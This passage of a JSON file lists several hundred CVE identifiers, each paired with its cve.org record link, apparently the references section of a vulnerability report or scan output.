"name": "CVE-2026-84233",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-84233"
},
{
"name": "CVE-2026-39832",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39832"
},
{
"name": "CVE-2026-118370",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-118370"
},
{
"name": "CVE-2026-35469",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-35469"
},
{
"name": "CVE-2026-112902",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112902"
},
{
"name": "CVE-2026-73500",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-73500"
},
{
"name": "CVE-2026-9698",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-9698"
},
{
"name": "CVE-2026-19548",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-19548"
},
{
"name": "CVE-2026-41257",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41257"
},
{
"name": "CVE-2026-81725",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-81725"
},
{
"name": "CVE-2026-42015",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42015"
},
{
"name": "CVE-2026-112909",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112909"
},
{
"name": "CVE-2026-39829",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39829"
},
{
"name": "CVE-2026-112397",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112397"
},
{
"name": "CVE-2026-68498",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-68498"
},
{
"name": "CVE-2025-69652",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-69652"
},
{
"name": "CVE-2026-66046",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-66046"
},
{
"name": "CVE-2026-53795",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53795"
},
{
"name": "CVE-2026-41178",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41178"
},
{
"name": "CVE-2026-112394",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112394"
},
{
"name": "CVE-2024-8176",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-8176"
},
{
"name": "CVE-2026-56392",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56392"
},
{
"name": "CVE-2026-65637",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-65637"
},
{
"name": "CVE-2026-8376",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-8376"
},
{
"name": "CVE-2026-50163",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-50163"
},
{
"name": "CVE-2025-9905",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-9905"
},
{
"name": "CVE-2026-119377",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-119377"
},
{
"name": "CVE-2026-86411",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-86411"
},
{
"name": "CVE-2025-15367",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-15367"
},
{
"name": "CVE-2026-58014",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-58014"
},
{
"name": "CVE-2026-54516",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54516"
},
{
"name": "CVE-2026-3442",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-3442"
},
{
"name": "CVE-2026-86142",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-86142"
},
{
"name": "CVE-2026-13595",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-13595"
},
{
"name": "CVE-2026-6357",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6357"
},
{
"name": "CVE-2026-103995",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-103995"
},
{
"name": "CVE-2026-85999",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-85999"
},
{
"name": "CVE-2026-56410",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56410"
},
{
"name": "CVE-2026-71885",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-71885"
},
{
"name": "CVE-2026-48044",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48044"
},
{
"name": "CVE-2025-15467",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-15467"
},
{
"name": "CVE-2026-90803",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-90803"
},
{
"name": "CVE-2025-9820",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-9820"
},
{
"name": "CVE-2026-19546",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-19546"
},
{
"name": "CVE-2026-2006",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-2006"
},
{
"name": "CVE-2026-54515",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54515"
},
{
"name": "CVE-2025-1180",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-1180"
},
{
"name": "CVE-2025-4373",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-4373"
},
{
"name": "CVE-2026-13757",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-13757"
},
{
"name": "CVE-2025-4598",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-4598"
},
{
"name": "CVE-2025-27144",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-27144"
},
{
"name": "CVE-2026-95519",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-95519"
},
{
"name": "CVE-2026-6637",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6637"
},
{
"name": "CVE-2026-74048",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-74048"
},
{
"name": "CVE-2026-55798",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-55798"
},
{
"name": "CVE-2026-94444",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-94444"
},
{
"name": "CVE-2026-73283",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-73283"
},
{
"name": "CVE-2026-55717",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-55717"
},
{
"name": "CVE-2026-19953",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-19953"
},
{
"name": "CVE-2026-108106",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-108106"
},
{
"name": "CVE-2026-26330",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-26330"
},
{
"name": "CVE-2026-15308",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-15308"
},
{
"name": "CVE-2026-27145",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27145"
},
{
"name": "CVE-2024-35255",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-35255"
},
{
"name": "CVE-2024-24557",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-24557"
},
{
"name": "CVE-2026-41080",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41080"
},
{
"name": "CVE-2026-112400",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112400"
},
{
"name": "CVE-2026-14668",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14668"
},
{
"name": "CVE-2026-68497",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-68497"
},
{
"name": "CVE-2025-55198",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-55198"
},
{
"name": "CVE-2021-46195",
"url": "https://www.cve.org/CVERecord?id=CVE-2021-46195"
},
{
"name": "CVE-2026-84243",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-84243"
},
{
"name": "CVE-2025-21613",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-21613"
},
{
"name": "CVE-2023-29491",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-29491"
},
{
"name": "CVE-2026-101356",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-101356"
},
{
"name": "CVE-2026-32778",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-32778"
},
{
"name": "CVE-2026-5121",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-5121"
},
{
"name": "CVE-2026-39834",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39834"
},
{
"name": "CVE-2025-1182",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-1182"
},
{
"name": "CVE-2026-63073",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-63073"
},
{
"name": "CVE-2026-16241",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16241"
},
{
"name": "CVE-2026-57914",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-57914"
},
{
"name": "CVE-2026-65901",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-65901"
},
{
"name": "CVE-2022-40897",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-40897"
},
{
"name": "CVE-2026-46595",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46595"
},
{
"name": "CVE-2026-1485",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-1485"
},
{
"name": "CVE-2025-5372",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-5372"
},
{
"name": "CVE-2026-9335",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-9335"
},
{
"name": "CVE-2026-119372",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-119372"
},
{
"name": "CVE-2026-88648",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-88648"
},
{
"name": "CVE-2026-96639",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-96639"
},
{
"name": "CVE-2026-112395",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112395"
},
{
"name": "CVE-2026-79921",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-79921"
},
{
"name": "CVE-2026-6473",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6473"
},
{
"name": "CVE-2026-93569",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-93569"
},
{
"name": "CVE-2026-64607",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-64607"
},
{
"name": "CVE-2026-33236",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33236"
},
{
"name": "CVE-2026-87864",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-87864"
},
{
"name": "CVE-2026-93564",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-93564"
},
{
"name": "CVE-2026-104874",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-104874"
},
{
"name": "CVE-2026-93574",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-93574"
},
{
"name": "CVE-2026-72818",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-72818"
},
{
"name": "CVE-2026-2005",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-2005"
},
{
"name": "CVE-2025-64329",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-64329"
},
{
"name": "CVE-2026-71497",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-71497"
},
{
"name": "CVE-2026-90804",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-90804"
},
{
"name": "CVE-2026-41992",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41992"
},
{
"name": "CVE-2026-92392",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-92392"
},
{
"name": "CVE-2025-1152",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-1152"
},
{
"name": "CVE-2026-24051",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-24051"
},
{
"name": "CVE-2026-90829",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-90829"
},
{
"name": "CVE-2025-11082",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-11082"
},
{
"name": "CVE-2026-55443",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-55443"
},
{
"name": "CVE-2026-65900",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-65900"
},
{
"name": "CVE-2026-66010",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-66010"
},
{
"name": "CVE-2026-53802",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53802"
},
{
"name": "CVE-2025-48060",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-48060"
},
{
"name": "CVE-2026-7383",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-7383"
},
{
"name": "CVE-2026-70458",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-70458"
},
{
"name": "CVE-2026-39825",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39825"
},
{
"name": "CVE-2026-39821",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39821"
},
{
"name": "CVE-2024-6104",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-6104"
},
{
"name": "CVE-2026-44825",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44825"
},
{
"name": "CVE-2026-45674",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-45674"
},
{
"name": "CVE-2026-55831",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-55831"
},
{
"name": "CVE-2026-33846",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33846"
},
{
"name": "CVE-2025-14512",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-14512"
},
{
"name": "CVE-2026-9669",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-9669"
},
{
"name": "CVE-2026-44690",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44690"
},
{
"name": "CVE-2026-1502",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-1502"
},
{
"name": "CVE-2026-27144",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27144"
},
{
"name": "CVE-2026-4360",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-4360"
},
{
"name": "CVE-2026-80230",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-80230"
},
{
"name": "CVE-2026-48743",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48743"
},
{
"name": "CVE-2025-1149",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-1149"
},
{
"name": "CVE-2026-59949",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59949"
},
{
"name": "CVE-2025-4877",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-4877"
},
{
"name": "CVE-2026-58012",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-58012"
},
{
"name": "CVE-2026-56865",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56865"
},
{
"name": "CVE-2026-59881",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59881"
},
{
"name": "CVE-2021-3393",
"url": "https://www.cve.org/CVERecord?id=CVE-2021-3393"
},
{
"name": "CVE-2026-19534",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-19534"
},
{
"name": "CVE-2026-22795",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-22795"
},
{
"name": "CVE-2026-32283",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-32283"
},
{
"name": "CVE-2026-0988",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-0988"
},
{
"name": "CVE-2025-61727",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-61727"
},
{
"name": "CVE-2026-86413",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-86413"
},
{
"name": "CVE-2026-26311",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-26311"
},
{
"name": "CVE-2026-11822",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-11822"
},
{
"name": "CVE-2026-70626",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-70626"
},
{
"name": "CVE-2026-42014",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42014"
},
{
"name": "CVE-2026-59890",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59890"
},
{
"name": "CVE-2025-27613",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-27613"
},
{
"name": "CVE-2026-82717",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-82717"
},
{
"name": "CVE-2026-0799",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-0799"
},
{
"name": "CVE-2025-6297",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-6297"
},
{
"name": "CVE-2026-63311",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-63311"
},
{
"name": "CVE-2026-113602",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-113602"
},
{
"name": "CVE-2026-79675",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-79675"
},
{
"name": "CVE-2026-77422",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-77422"
},
{
"name": "CVE-2026-11850",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-11850"
},
{
"name": "CVE-2024-28180",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-28180"
},
{
"name": "CVE-2025-65637",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-65637"
},
{
"name": "CVE-2026-45409",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-45409"
},
{
"name": "CVE-2026-27136",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27136"
},
{
"name": "CVE-2026-93576",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-93576"
},
{
"name": "CVE-2026-14164",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14164"
},
{
"name": "CVE-2026-0861",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-0861"
},
{
"name": "CVE-2026-14456",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14456"
},
{
"name": "CVE-2026-119374",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-119374"
},
{
"name": "CVE-2026-56860",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56860"
},
{
"name": "CVE-2026-25542",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-25542"
},
{
"name": "CVE-2026-47774",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47774"
},
{
"name": "CVE-2026-80274",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-80274"
},
{
"name": "CVE-2026-6368",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6368"
},
{
"name": "CVE-2026-1703",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-1703"
},
{
"name": "CVE-2026-61801",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-61801"
},
{
"name": "CVE-2026-25645",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-25645"
},
{
"name": "CVE-2026-49265",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-49265"
},
{
"name": "CVE-2026-112390",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112390"
},
{
"name": "CVE-2026-21860",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-21860"
},
{
"name": "CVE-2026-14457",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14457"
},
{
"name": "CVE-2025-13281",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-13281"
},
{
"name": "CVE-2026-15534",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-15534"
},
{
"name": "CVE-2026-49458",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-49458"
},
{
"name": "CVE-2026-71513",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-71513"
},
{
"name": "CVE-2026-78410",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-78410"
},
{
"name": "CVE-2026-10536",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-10536"
},
{
"name": "CVE-2026-97399",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-97399"
},
{
"name": "CVE-2026-80047",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-80047"
},
{
"name": "CVE-2026-79674",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-79674"
},
{
"name": "CVE-2026-3479",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-3479"
},
{
"name": "CVE-2026-12261",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-12261"
},
{
"name": "CVE-2026-53784",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53784"
},
{
"name": "CVE-2026-0847",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-0847"
},
{
"name": "CVE-2026-44249",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44249"
},
{
"name": "CVE-2026-41991",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41991"
},
{
"name": "CVE-2026-96640",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-96640"
},
{
"name": "CVE-2026-77860",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-77860"
},
{
"name": "CVE-2026-8932",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-8932"
},
{
"name": "CVE-2026-39883",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39883"
},
{
"name": "CVE-2026-91780",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-91780"
},
{
"name": "CVE-2025-5915",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-5915"
},
{
"name": "CVE-2026-4424",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-4424"
},
{
"name": "CVE-2026-76825",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76825"
},
{
"name": "CVE-2025-5917",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-5917"
},
{
"name": "CVE-2026-95818",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-95818"
},
{
"name": "CVE-2026-6879",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6879"
},
{
"name": "CVE-2026-45186",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-45186"
},
{
"name": "CVE-2026-96231",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-96231"
},
{
"name": "CVE-2026-48978",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48978"
},
{
"name": "CVE-2024-51744",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-51744"
},
{
"name": "CVE-2026-78681",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-78681"
},
{
"name": "CVE-2026-77412",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-77412"
},
{
"name": "CVE-2026-93561",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-93561"
},
{
"name": "CVE-2026-32281",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-32281"
},
{
"name": "CVE-2026-75596",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-75596"
},
{
"name": "CVE-2026-12074",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-12074"
},
{
"name": "CVE-2026-45571",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-45571"
},
{
"name": "CVE-2026-107929",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-107929"
},
{
"name": "CVE-2026-8763",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-8763"
},
{
"name": "CVE-2026-1839",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-1839"
},
{
"name": "CVE-2026-12876",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-12876"
},
{
"name": "CVE-2026-27142",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27142"
},
{
"name": "CVE-2026-75140",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-75140"
},
{
"name": "CVE-2026-90801",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-90801"
},
{
"name": "CVE-2026-18408",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-18408"
},
{
"name": "CVE-2026-45022",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-45022"
},
{
"name": "CVE-2026-40356",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-40356"
},
{
"name": "CVE-2026-0966",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-0966"
},
{
"name": "CVE-2024-45338",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-45338"
},
{
"name": "CVE-2026-41989",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41989"
},
{
"name": "CVE-2026-50243",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-50243"
},
{
"name": "CVE-2025-2999",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-2999"
},
{
"name": "CVE-2026-28389",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-28389"
},
{
"name": "CVE-2026-42504",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42504"
},
{
"name": "CVE-2026-56412",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56412"
},
{
"name": "CVE-2026-59199",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59199"
},
{
"name": "CVE-2025-10966",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-10966"
},
{
"name": "CVE-2024-36124",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-36124"
},
{
"name": "CVE-2026-53878",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53878"
},
{
"name": "CVE-2024-10977",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-10977"
},
{
"name": "CVE-2025-50182",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-50182"
},
{
"name": "CVE-2026-54478",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54478"
},
{
"name": "CVE-2026-80205",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-80205"
},
{
"name": "CVE-2026-17495",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-17495"
},
{
"name": "CVE-2025-47906",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-47906"
},
{
"name": "CVE-2026-48864",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48864"
},
{
"name": "CVE-2026-65182",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-65182"
},
{
"name": "CVE-2026-56858",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56858"
},
{
"name": "CVE-2026-115207",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-115207"
},
{
"name": "CVE-2025-9906",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-9906"
},
{
"name": "CVE-2026-88647",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-88647"
},
{
"name": "CVE-2026-47778",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47778"
},
{
"name": "CVE-2025-59375",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-59375"
},
{
"name": "CVE-2026-95619",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-95619"
},
{
"name": "CVE-2026-82720",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-82720"
},
{
"name": "CVE-2026-34040",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34040"
},
{
"name": "CVE-2026-94439",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-94439"
},
{
"name": "CVE-2026-116587",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-116587"
},
{
"name": "CVE-2026-95512",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-95512"
},
{
"name": "CVE-2026-7666",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-7666"
},
{
"name": "CVE-2026-12003",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-12003"
},
{
"name": "CVE-2026-94448",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-94448"
},
{
"name": "CVE-2026-35206",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-35206"
},
{
"name": "CVE-2026-56855",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56855"
},
{
"name": "CVE-2026-53615",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53615"
},
{
"name": "CVE-2026-15588",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-15588"
},
{
"name": "CVE-2026-59850",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59850"
},
{
"name": "CVE-2026-92389",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-92389"
},
{
"name": "CVE-2026-71889",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-71889"
},
{
"name": "CVE-2026-90711",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-90711"
},
{
"name": "CVE-2026-5450",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-5450"
},
{
"name": "CVE-2026-53785",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53785"
},
{
"name": "CVE-2026-50195",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-50195"
},
{
"name": "CVE-2025-50181",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-50181"
},
{
"name": "CVE-2026-19499",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-19499"
},
{
"name": "CVE-2026-59903",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59903"
},
{
"name": "CVE-2026-19385",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-19385"
},
{
"name": "CVE-2026-112943",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112943"
},
{
"name": "CVE-2026-8404",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-8404"
},
{
"name": "CVE-2026-11856",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-11856"
},
{
"name": "CVE-2025-66382",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-66382"
},
{
"name": "CVE-2026-5260",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-5260"
},
{
"name": "CVE-2026-56746",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56746"
},
{
"name": "CVE-2026-42009",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42009"
},
{
"name": "CVE-2026-103119",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-103119"
},
{
"name": "CVE-2026-116566",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-116566"
},
{
"name": "CVE-2026-33948",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33948"
},
{
"name": "CVE-2026-84838",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-84838"
},
{
"name": "CVE-2025-69421",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-69421"
},
{
"name": "CVE-2026-54059",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54059"
},
{
"name": "CVE-2025-12781",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-12781"
},
{
"name": "CVE-2026-40225",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-40225"
},
{
